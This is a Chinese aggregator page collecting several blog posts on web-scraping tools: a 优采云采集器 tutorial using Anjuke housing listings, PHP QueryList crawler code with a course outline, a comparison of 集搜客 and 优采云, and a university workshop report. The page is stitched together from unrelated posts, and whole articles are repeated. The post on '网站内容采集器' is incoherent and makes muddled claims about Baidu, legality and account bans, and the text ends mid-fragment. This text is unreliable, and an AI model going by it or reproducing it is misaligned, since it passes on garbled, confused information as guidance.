【教程】使用优采云采集器软件爬取网页数据
网站优化 • 优采云 发表了文章 • 0 个评论 • 143 次浏览 • 2022-07-15 01:38
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址
第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。
输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。 查看全部
【教程】使用优采云采集器软件爬取网页数据
地图可视化离不开数据的支撑,很多人苦于无法获取数据或者不知道怎么获取数据,可能很多人听说过“爬虫”,也听说过通过Python来“写爬虫”,毕竟这是获取网页数据的主要手段之一。但是对于很多不熟悉Python语言的人来说,“写爬虫”的技术难度高,学习过程耗时。今天,我们将介绍一个数据采集软件——优采云采集器,并提供一个简要使用教程,使您无需编写代码就可以爬取网页数据。
在开始收集数据前,我们需进去优采云采集器官网,下载软件并安装。网址:,可点击左下“阅读原文”可直接访问。
爬取网页数据的步骤:
1.打开优采云采集器。
2.新建分组:菜单栏“开始”,点击新建分组,输入采集网站名称为分组名称,(通常在“采网址”和“采内容”选项下打勾)。
3.新建任务:选择新建的分组,点击“新建任务”或者鼠标右键选择“新建任务”,进入到新建页面。任务规则名为采集的对象名。新建任务界面中,包含四个步骤:网址采集规则、内容采集规则、内容发布规则和其他设置。
4.添加网址

第一步:网址采集规则
查看需爬取网址的特点,选择起始网址的添加方式(普通网址、批量网址、文本导入和数据库导入)。点击起始网址任务条中的“向导编辑”,在网址格式中添加地址,确定即可。本例选取北京市安居客小区网址为例,经观察测试可知,网页的网址出现规律,选择批量网址。
回到“网址采集规则”页面,设置起始网址就是内容页网址,并给“任务规则名”命名。网页。
第二步:内容采集规则
打开北京安居客网址,F12或(Fn+F12),点击鼠标选取方式。通过鼠标依次点小区名称、小区地址以及当月价格等网页中所需要的信息对应的位置,获取相关代码,鼠标右键,复制选择。
根据这些HTML内容和自己需要的内容,在标签列表中,点击操作任务栏中的“添加”来增加新的标签,或者点击已有的标签,进行修改。在标签编辑栏中,标签提取方式有前后截取、正则提取、正文提取等方式。数据处理对话框中,文件下载中的数据支持图片、flash等文件。
*号为所需要采集的参数。

输入网页网址,测试结果。
测试结果无误后,选择数据保存。注意:保存文件时,模板设置一定要与收集的数据字段一致。
运行。
结果查看。
优采云采集器不仅仅可以采集网页数据,还可以基于API进行数据采集。大家不妨操作试试,定会有不一样的收获(杨慧测试、撰写)。
[精选] PHP也是可以用来做异步爬取数据的
网站优化 • 优采云 发表了文章 • 0 个评论 • 115 次浏览 • 2022-07-04 21:21
$ql = QueryList::getInstance();<br style="outline: 0px;" /><br style="outline: 0px;" />//绑定一个myHttp方法到QueryList对象<br style="outline: 0px;" />$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> $html = file_get_contents($url);<br style="outline: 0px;" /> $this->setHtml($html);<br style="outline: 0px;" /> return $this;<br style="outline: 0px;" />});<br style="outline: 0px;" /><br style="outline: 0px;" />//然后就可以通过注册的名字来调用<br style="outline: 0px;" />$data = $ql->myHttp('https://toutiao.io')->find('h3 a')->texts();<br style="outline: 0px;" />print_r($data->all());<br style="outline: 0px;" />
或者把实现体封装到class,然后这样绑定:
$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> return new MyHttp($this,$url);<br style="outline: 0px;" />});<br style="outline: 0px;" />
插件使用
使用CURL多线程插件,多线程采集GitHub排行榜:
$ql = QueryList::use(CurlMulti::class);<br style="outline: 0px;" />$ql->curlMulti([<br style="outline: 0px;" /> 'https://github.com/trending/php',<br style="outline: 0px;" /> 'https://github.com/trending/go',<br style="outline: 0px;" /> //.....more urls<br style="outline: 0px;" />])<br style="outline: 0px;" /> // 每个任务成功完成调用此回调<br style="outline: 0px;" /> ->success(function (QueryList $ql,CurlMulti $curl,$r){<br style="outline: 0px;" /> echo "Current url:{$r['info']['url']} \r\n";<br style="outline: 0px;" /> $data = $ql->find('h3 a')->texts();<br style="outline: 0px;" /> print_r($data->all());<br style="outline: 0px;" />})<br style="outline: 0px;" /> // 每个任务失败回调<br style="outline: 0px;" />->error(function ($errorInfo,CurlMulti $curl){<br style="outline: 0px;" /> echo "Current url:{$errorInfo['info']['url']} \r\n";<br style="outline: 0px;" /> print_r($errorInfo['error']);<br style="outline: 0px;" />})<br style="outline: 0px;" />->start([<br style="outline: 0px;" /> // 最大并发数<br style="outline: 0px;" /> 'maxThread' => 10,<br style="outline: 0px;" /> // 错误重试次数<br style="outline: 0px;" /> 'maxTry' => 3,<br style="outline: 0px;" />]);<br style="outline: 0px;" />
更多详细请查看GitHub:
让你更好的学习php爬虫,小编推荐一套视频教程【ThinkPHP6+Querylist实战开发】希望以后你们能用得着。
获取地址:
课程目录
课时1 实战实录 tp6开发PHP手册统计项目 - 介绍09:29
课时2【实战实录】PHP手册统计-项目分析09:45
课时3【实战实录】PHP手册统计用querylist采集08:56
课时4 PHP手册统计获取到了一个文件的所属上级04:22
课时5 PHP手册统计建立表对接15040个页面10:01
课时6 PHP手册统计完成15037个页面名称存入数据库05:58
课时7 完成了除包含php字符的对应目录的入库12:03
课时8 初步实现和了解了php手册各栏目的页面数量12:20
课时9 v1.0版上线源码可以通过github查看通过composer安装06:25
课时10 入门php的cli命令行模式 即使获得进度13:14
课时11 正式进入v2.0版本 cli模式作为主要运行对象09:30
课时12 实现了一级目录的数据量统计11:26
课时13 重写了一个激动人心的采集规则22:26
课时14 针对目录不一致问题 增加字段统计比对05:16
课时15 应用递归实现从文件获取其完整目录12:27
课时16 通过递归补齐没有path的文件17:01
课时17 用递归排查完成总数不一致问题08:10
课时18 用递归完成了基本tree树形分类14:49
课时19 完成前端tree树形分类用zTree实现08:10
课时20 完成前端11个栏目的树形分类11:41
课时21 第一版完可以预览子目录数量的目录完成07:16
课时22 第一版完可以预览子目录数量的目录完成07:16
课时23 完成第一套完整的统计带统计分析的php手册12:50
课时24 统计结果html上线gitee直接浏览07:26
课时25 PHP手册统计项目 - 总结
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[精选] PHP也是可以用来做异步爬取数据的
$ql = QueryList::getInstance();<br style="outline: 0px;" /><br style="outline: 0px;" />//绑定一个myHttp方法到QueryList对象<br style="outline: 0px;" />$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> $html = file_get_contents($url);<br style="outline: 0px;" /> $this->setHtml($html);<br style="outline: 0px;" /> return $this;<br style="outline: 0px;" />});<br style="outline: 0px;" /><br style="outline: 0px;" />//然后就可以通过注册的名字来调用<br style="outline: 0px;" />$data = $ql->myHttp('https://toutiao.io')->find('h3 a')->texts();<br style="outline: 0px;" />print_r($data->all());<br style="outline: 0px;" />
或者把实现体封装到class,然后这样绑定:
$ql->bind('myHttp',function ($url){<br style="outline: 0px;" /> return new MyHttp($this,$url);<br style="outline: 0px;" />});<br style="outline: 0px;" />
插件使用
使用CURL多线程插件,多线程采集GitHub排行榜:
$ql = QueryList::use(CurlMulti::class);<br style="outline: 0px;" />$ql->curlMulti([<br style="outline: 0px;" /> 'https://github.com/trending/php',<br style="outline: 0px;" /> 'https://github.com/trending/go',<br style="outline: 0px;" /> //.....more urls<br style="outline: 0px;" />])<br style="outline: 0px;" /> // 每个任务成功完成调用此回调<br style="outline: 0px;" /> ->success(function (QueryList $ql,CurlMulti $curl,$r){<br style="outline: 0px;" /> echo "Current url:{$r['info']['url']} \r\n";<br style="outline: 0px;" /> $data = $ql->find('h3 a')->texts();<br style="outline: 0px;" /> print_r($data->all());<br style="outline: 0px;" />})<br style="outline: 0px;" /> // 每个任务失败回调<br style="outline: 0px;" />->error(function ($errorInfo,CurlMulti $curl){<br style="outline: 0px;" /> echo "Current url:{$errorInfo['info']['url']} \r\n";<br style="outline: 0px;" /> print_r($errorInfo['error']);<br style="outline: 0px;" />})<br style="outline: 0px;" />->start([<br style="outline: 0px;" /> // 最大并发数<br style="outline: 0px;" /> 'maxThread' => 10,<br style="outline: 0px;" /> // 错误重试次数<br style="outline: 0px;" /> 'maxTry' => 3,<br style="outline: 0px;" />]);<br style="outline: 0px;" />
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让你更好的学习php爬虫,小编推荐一套视频教程【ThinkPHP6+Querylist实战开发】希望以后你们能用得着。
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课时1 实战实录 tp6开发PHP手册统计项目 - 介绍09:29
课时2【实战实录】PHP手册统计-项目分析09:45

课时3【实战实录】PHP手册统计用querylist采集08:56
课时4 PHP手册统计获取到了一个文件的所属上级04:22
课时5 PHP手册统计建立表对接15040个页面10:01
课时6 PHP手册统计完成15037个页面名称存入数据库05:58
课时7 完成了除包含php字符的对应目录的入库12:03
课时8 初步实现和了解了php手册各栏目的页面数量12:20
课时9 v1.0版上线源码可以通过github查看通过composer安装06:25
课时10 入门php的cli命令行模式 即使获得进度13:14
课时11 正式进入v2.0版本 cli模式作为主要运行对象09:30
课时12 实现了一级目录的数据量统计11:26
课时13 重写了一个激动人心的采集规则22:26
课时14 针对目录不一致问题 增加字段统计比对05:16

课时15 应用递归实现从文件获取其完整目录12:27
课时16 通过递归补齐没有path的文件17:01
课时17 用递归排查完成总数不一致问题08:10
课时18 用递归完成了基本tree树形分类14:49
课时19 完成前端tree树形分类用zTree实现08:10
课时20 完成前端11个栏目的树形分类11:41
课时21 第一版完可以预览子目录数量的目录完成07:16
课时22 第一版完可以预览子目录数量的目录完成07:16
课时23 完成第一套完整的统计带统计分析的php手册12:50
课时24 统计结果html上线gitee直接浏览07:26
课时25 PHP手册统计项目 - 总结
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浅析通用爬虫软件—— 集搜客与优采云采集器
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大 数 据 人
报道DT时代应用资讯及动态,爆料剖析行业热点新闻
最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面
图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。 查看全部
浅析通用爬虫软件—— 集搜客与优采云采集器
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最近想用爬虫软件来采集网页上的一些数据,根据百度的推荐以及相关关键词查询,找到了两款软件:“集搜客”和“优采云”,两款软件都有可视化界面,对于编程思维比较薄弱的用户来说,这两款软件上手容易,操作简单易懂。今天就带大家来了解对比一下这两款通用的网络爬虫软件。
1.软件安装
优采云:优采云安装跟其他独立软件一样,从官网下载,直接点击setup.exe安装。
集搜客:集搜客网站上下载的软件也是一个自解压exe程序,双击启动安装,看到的是火狐浏览器安装过程,原来集搜客软件是作为火狐插件发布的。
2.软件界面布局
优采云:优采云的界面布局可以归为指引型界面,用户进入软件界面可以看到软件使用提示信息,如图一所示,包括向导模式与高级模式,同时列出了学习资源,采集规则,数据下载等等。对于初次使用的用户来说,起到了很好的指引作用。
图一:优采云操作界面展示
集搜客:集搜客软件分成两个操作界面,MS谋数台(图2)和DS打数机(图3),谋数台负责制定规则(网页标注),打数机负责采集数据(网络爬虫),一个谋、一个打,听起来还是比较符合其特征。集搜客启动后的界面没有显示使用帮助资源,而是位于“帮助”菜单中。
图2:集搜客谋数台界面

图3:集搜客打数机界面
3.操作流程
优采云:优采云的操作流程主要分为4个步骤(如图4所示),分别为:
设置基本信息、设计工作流程、设置采集选项、完成。
图4:优采云操作流程
图5:优采云设计流程
集搜客:集搜客的操作没有流程的概念,似乎定义采集规则可以不遵守既定操作顺序,而是有一个要领“建立一个箱子,把你要的内容摘进去”。所以我们称之为4“块”操作(如图6所示):包括命名主题、创建整理箱、规划爬虫路线和定义连续动作。
图6:集搜客的4块功能
综上所述,优采云的工作流程特征十分明显,用户决定软件怎样动作,什么时候动作,动作施加给哪里,从哪里采集内容等。而集搜客想让用户专注于摘什么数据,如果用户在摘取以外还想扩展范围那就定义爬虫路线,如果还想做些动作那就定义连续动作,整个流程细节用户不用关心。
4.数据存储方式
优采云:优采云分成单机运行和云采集,数据导出支持EXCEL、SQL、TXT等常用格式。
集搜客:集搜客没有云采集,因为爬虫都在用户自己电脑上跑,用户想把爬虫放云上那是用户自己的事。跑下来的数据以XML格式存储,可见这是一种中间结果,集搜客官网提供了XML转EXCEL的工具,也在会员中心提供了基于云存储的数据导入和清洗功能,入库后可以导出成EXCEL格式。
5.收费模式
优采云:简单来说是一种软件销售模式(不排除免费版),除此之外用户下规则要积分,跑数据也要积分,而积分可以用钱购买或者参与社区活动换积分。
集搜客:集搜客简单来说是一种服务收费模式,软件功能全部免费,如果需要一些爬虫管理和数据管理的服务,则根据服务类型、数量和时间进行收费。同样,下载规则要积分,如果使用云存储,根据存储量和存储时间收费。积分同样也可以用钱购买,或者参与社区活动赚积分。
瑞翼工坊——优采云采集器基础操作
网站优化 • 优采云 发表了文章 • 0 个评论 • 106 次浏览 • 2022-06-26 05:05
瑞翼工坊——优采云采集器基础操作
2018年11月21日晚19:00,曙光瑞翼大数据学院瑞翼工坊—专业学生“对话式”教学研讨第十三次活动,在广西师范学院五合校区理综楼815机房开展。本期主题为“优采云采集器基础操作”,由助教沈皓主讲,让我们学会了数据采集的基础。
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。下面让我们一起来学习优采云采集器的五个基本操作吧!
第一个,单网页信息采集——提取新闻信息
该操作主要分为两个步骤。第一步,打开网页:大家可以先登陆优采云采集器,点击左上角+图标,选择自定义采集,然后输入网址(如:),点击保存,在网页打开后,我们可以对任务名进行修改,不修改则默认以网页标题命名。在运行采集前可随时修改任务名。第二步,提取数据:首先在网页中,直接选中需要提取的数据。如:提取新闻标题、时间、正文。然后点击保存并开始运行采集。
第二个,创建循环列表
该操作有两种方法。第一种方法,我们可以在输入网址打开网页以后,鼠标选中文章料表中第一个链接,右面的提示框中会提示发现同类的元素,可以一起选中所有同类的元素。第二种方法,打开网页以后,选中第一个以后不能按照提示选中全部,需要选中右下角的扩大选项标识,才能选中其他想要的元素。然后选项的元素就扩充到第一行所有元素,再选择提示框中“选中子元素”,系统就可以识别出其他相似元素。最后选择提示框中的“选中全部”就可以把表中的所有数据都选中了。
第三个,采集单网页列表详细信息
步骤一,打开网页,步骤二,循环点击元素。首先我们可以点击第一个电影标题“ 肖申克救赎”链接,再选择“选中全部”选项,最后选择“循环点击每个链接”选项。步骤三,提取数据。点击页面中要提取的电影 剧情 字段,选择“采集该元素的文本”。步骤四:修改字段名称。先点击“流程”,后修改字段名称,再点击“确定”保存。步骤五:采集并导出数据。依次点击“保存”,“开始采集”,启动“本地采集”,“导出数据”选择导出方式。
第四个,采集分页列表信息
首先打开网页,其次点击“下一页”,选择“循环点击下一页”选项,再次将列表展示的信息采集成二维表的形式,然后修改字段名称,最后采集并保存数据。
第五个,采集分页列表详细信息
首先,打开网页,其次制作循环翻页流程,再次对电影名称创建循环点击,另外,点击电影标题字段,选择“采集该元素的文本”,以同样方式点击选择其他字段。然后修改字段名称,最后采集并导出数据。
了解完优采云采集器的五个基本操作,下面就来观看一下我们的课堂吧。
这是我们本次课堂的主讲:沈皓学长
是不是很帅呢!讲课很仔细呢!
同学们认真的学习和实战操作
通过学习使用优采云采集器,我们可以轻松地从各种不同的网站或者网页获取大量的数据,大家对这一期瑞翼工坊的内容是否有兴趣呢?赶紧登陆优采云采集器亲手实践一下吧!下一期的瑞翼工坊,我们期待你的到来!
本期供稿:曾竞慧
本期美工:韦慧怡 查看全部
瑞翼工坊——优采云采集器基础操作
瑞翼工坊——优采云采集器基础操作
2018年11月21日晚19:00,曙光瑞翼大数据学院瑞翼工坊—专业学生“对话式”教学研讨第十三次活动,在广西师范学院五合校区理综楼815机房开展。本期主题为“优采云采集器基础操作”,由助教沈皓主讲,让我们学会了数据采集的基础。
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。下面让我们一起来学习优采云采集器的五个基本操作吧!
第一个,单网页信息采集——提取新闻信息
该操作主要分为两个步骤。第一步,打开网页:大家可以先登陆优采云采集器,点击左上角+图标,选择自定义采集,然后输入网址(如:),点击保存,在网页打开后,我们可以对任务名进行修改,不修改则默认以网页标题命名。在运行采集前可随时修改任务名。第二步,提取数据:首先在网页中,直接选中需要提取的数据。如:提取新闻标题、时间、正文。然后点击保存并开始运行采集。
第二个,创建循环列表
该操作有两种方法。第一种方法,我们可以在输入网址打开网页以后,鼠标选中文章料表中第一个链接,右面的提示框中会提示发现同类的元素,可以一起选中所有同类的元素。第二种方法,打开网页以后,选中第一个以后不能按照提示选中全部,需要选中右下角的扩大选项标识,才能选中其他想要的元素。然后选项的元素就扩充到第一行所有元素,再选择提示框中“选中子元素”,系统就可以识别出其他相似元素。最后选择提示框中的“选中全部”就可以把表中的所有数据都选中了。
第三个,采集单网页列表详细信息
步骤一,打开网页,步骤二,循环点击元素。首先我们可以点击第一个电影标题“ 肖申克救赎”链接,再选择“选中全部”选项,最后选择“循环点击每个链接”选项。步骤三,提取数据。点击页面中要提取的电影 剧情 字段,选择“采集该元素的文本”。步骤四:修改字段名称。先点击“流程”,后修改字段名称,再点击“确定”保存。步骤五:采集并导出数据。依次点击“保存”,“开始采集”,启动“本地采集”,“导出数据”选择导出方式。
第四个,采集分页列表信息
首先打开网页,其次点击“下一页”,选择“循环点击下一页”选项,再次将列表展示的信息采集成二维表的形式,然后修改字段名称,最后采集并保存数据。
第五个,采集分页列表详细信息
首先,打开网页,其次制作循环翻页流程,再次对电影名称创建循环点击,另外,点击电影标题字段,选择“采集该元素的文本”,以同样方式点击选择其他字段。然后修改字段名称,最后采集并导出数据。

了解完优采云采集器的五个基本操作,下面就来观看一下我们的课堂吧。
这是我们本次课堂的主讲:沈皓学长
是不是很帅呢!讲课很仔细呢!
同学们认真的学习和实战操作
通过学习使用优采云采集器,我们可以轻松地从各种不同的网站或者网页获取大量的数据,大家对这一期瑞翼工坊的内容是否有兴趣呢?赶紧登陆优采云采集器亲手实践一下吧!下一期的瑞翼工坊,我们期待你的到来!
本期供稿:曾竞慧
本期美工:韦慧怡
网站内容采集器,手机网站后台采集不到的内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 116 次浏览 • 2022-06-25 22:10
网站内容采集器,手机网站app采集工具,直接采集手机网站后台采集不到的内容,不存在病毒被封号的风险,网站打不开不要紧,但凡打开后台看到有无数条采集后复制不到的内容就直接给否了,
1.没有法律风险,你作为代理他们不在乎,而且一般是百度引流的,当然成本较低,大不了从百度买。2.内容采集是一个违规的做法,在大部分人平时浏览网站的时候,一般不会看到这些内容,但百度通过爬虫抓取网页内容后,当你网站百度一次进不去只要有一条还有可能被进入,那么百度网页内容采集是不合法的。3.这个方法你只能获取你网站提供服务商的服务,网站提供方不管你用什么采集方法,那么你获取到的就是转换成百度搜索分享的链接。
首先内容采集的工具并不一定是你所定义的那种模式;大部分的网站内容采集工具应该是百度开发的抓取器。在操作采集器是一定是采用站内网页地址结构的,如果你做过站内页自建就知道他们抓取的地址,也有可能是html代码采集工具,那么抓取到html代码后他们会用f12看到链接可用,在下下标注工具。我在写站内采集器中有提到说过数据采集的问题,其实现如今很多大型网站已经实现基于服务器端采集,基于http协议的内容采集,所以他们是可以实现数据监控的,其实内容采集工具只要下面这个基本就行了;通过,上面关键词可以采集到我所要的目标内容,我提供的内容采集工具都是经过我很多遍的测试最终选择的这个;像你自己做站他们是不会允许你这样操作的;所以他们宁愿要干净的链接或者平台链接来源。 查看全部
网站内容采集器,手机网站后台采集不到的内容
网站内容采集器,手机网站app采集工具,直接采集手机网站后台采集不到的内容,不存在病毒被封号的风险,网站打不开不要紧,但凡打开后台看到有无数条采集后复制不到的内容就直接给否了,

1.没有法律风险,你作为代理他们不在乎,而且一般是百度引流的,当然成本较低,大不了从百度买。2.内容采集是一个违规的做法,在大部分人平时浏览网站的时候,一般不会看到这些内容,但百度通过爬虫抓取网页内容后,当你网站百度一次进不去只要有一条还有可能被进入,那么百度网页内容采集是不合法的。3.这个方法你只能获取你网站提供服务商的服务,网站提供方不管你用什么采集方法,那么你获取到的就是转换成百度搜索分享的链接。
首先内容采集的工具并不一定是你所定义的那种模式;大部分的网站内容采集工具应该是百度开发的抓取器。在操作采集器是一定是采用站内网页地址结构的,如果你做过站内页自建就知道他们抓取的地址,也有可能是html代码采集工具,那么抓取到html代码后他们会用f12看到链接可用,在下下标注工具。我在写站内采集器中有提到说过数据采集的问题,其实现如今很多大型网站已经实现基于服务器端采集,基于http协议的内容采集,所以他们是可以实现数据监控的,其实内容采集工具只要下面这个基本就行了;通过,上面关键词可以采集到我所要的目标内容,我提供的内容采集工具都是经过我很多遍的测试最终选择的这个;像你自己做站他们是不会允许你这样操作的;所以他们宁愿要干净的链接或者平台链接来源。
优采云采集器-房价数据实战
网站优化 • 优采云 发表了文章 • 0 个评论 • 117 次浏览 • 2022-06-25 17:02
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。
随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。 查看全部
优采云采集器-房价数据实战
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。

随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。
如何使用优采云采集器
网站优化 • 优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-06-25 16:58
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
主要功能
简单来讲,使用优采云可以非常容易的从任何网页精确采集你需要的数据,生成自定义的、规整的数据格式。优采云数据采集系统能做的包括但并不局限于以下内容:
1. 金融数据,如季报,年报,财务报告, 包括每日最新净值自动采集;
2. 各大新闻门户网站实时监控,自动更新及上传最新发布的新闻;
3. 监控竞争对手最新信息,包括商品价格及库存;
4. 监控各大社交网站,博客,自动抓取企业产品的相关评论;
5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。
产品优势
操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
2分钟快速入门
内置从入门到精通所需要的视频教程,2分钟就能上手使用,另外还有文档,论坛,qq群等。
免费使用
它是免费的,并且免费版本没有任何功能限制,你现在就可以试一试,立即下载安装。 查看全部
如何使用优采云采集器
优采云数据采集系统以完全自主研发的分布式云计算平台为核心,可以在很短的时间内,轻松从各种不同的网站或者网页获取大量的规范化数据,帮助任何需要从网页获取信息的客户实现数据自动化采集,编辑,规范化,摆脱对人工搜索及收集数据的依赖,从而降低获取信息的成本,提高效率。
主要功能
简单来讲,使用优采云可以非常容易的从任何网页精确采集你需要的数据,生成自定义的、规整的数据格式。优采云数据采集系统能做的包括但并不局限于以下内容:
1. 金融数据,如季报,年报,财务报告, 包括每日最新净值自动采集;
2. 各大新闻门户网站实时监控,自动更新及上传最新发布的新闻;
3. 监控竞争对手最新信息,包括商品价格及库存;
4. 监控各大社交网站,博客,自动抓取企业产品的相关评论;
5. 收集最新最全的职场招聘信息;
6. 监控各大地产相关网站,采集新房二手房最新行情;
7. 采集各大汽车网站具体的新车二手车信息;
8. 发现和收集潜在客户信息;
9. 采集行业网站的产品目录及产品信息;
10. 在各大电商平台之间同步商品信息,做到在一个平台发布,其他平台自动更新。

产品优势
操作简单
操作简单,完全可视化图形操作,无需专业IT人员,任何会使用电脑上网的人都可以轻松掌握。
云采集
采集任务自动分配到云端多台服务器同时执行,提高采集效率,可以很短的时间内 获取成千上万条信息。
拖拽式采集流程
模拟人的操作思维模式,可以登陆,输入数据,点击链接,按钮等,还能对不同情况采取不同的采集流程。
图文识别
内置可扩展的OCR接口,支持解析图片中的文字,可将图片上的文字提取出来。
定时自动采集
采集任务自动运行,可以按照指定的周期自动采集,并且还支持最快一分钟一次的实时采集。
2分钟快速入门
内置从入门到精通所需要的视频教程,2分钟就能上手使用,另外还有文档,论坛,qq群等。
免费使用
它是免费的,并且免费版本没有任何功能限制,你现在就可以试一试,立即下载安装。
优采云采集器-房价数据实战
网站优化 • 优采云 发表了文章 • 0 个评论 • 130 次浏览 • 2022-06-25 10:38
10309元/m
我保留黑色的部分,作为一个字符串截取规则,有多个数据一定要点击循环匹配。
随便测试一条效果,只测试某一页的价格。
同样的道理,我们来测试其他的标签。之后的内容发布和其他设置我们不需要管,保存并退出即可。之后点击开始,项目就开始了。当前阶段,数据导出是一个会员项目,免费的只能导出txt,很不好用。至于数据如何免费导出成csv,我将在之后的文章中告诉大家。
查看全部
优采云采集器-房价数据实战
10309元/m
